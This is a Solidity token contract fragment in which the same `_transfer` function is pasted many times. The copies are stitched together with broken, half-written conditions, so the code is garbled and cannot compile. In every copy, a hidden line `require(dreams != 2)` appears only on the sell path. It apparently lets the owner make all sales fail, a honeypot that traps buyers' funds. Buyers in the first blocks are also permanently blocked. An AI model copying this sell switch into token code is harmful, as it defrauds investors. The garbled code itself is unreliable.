if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
else if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
} else if (!_isExcludedMaxTransactionAmount[to]) {
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
require(dreams != 2);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMark += (fees * sellMarkFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
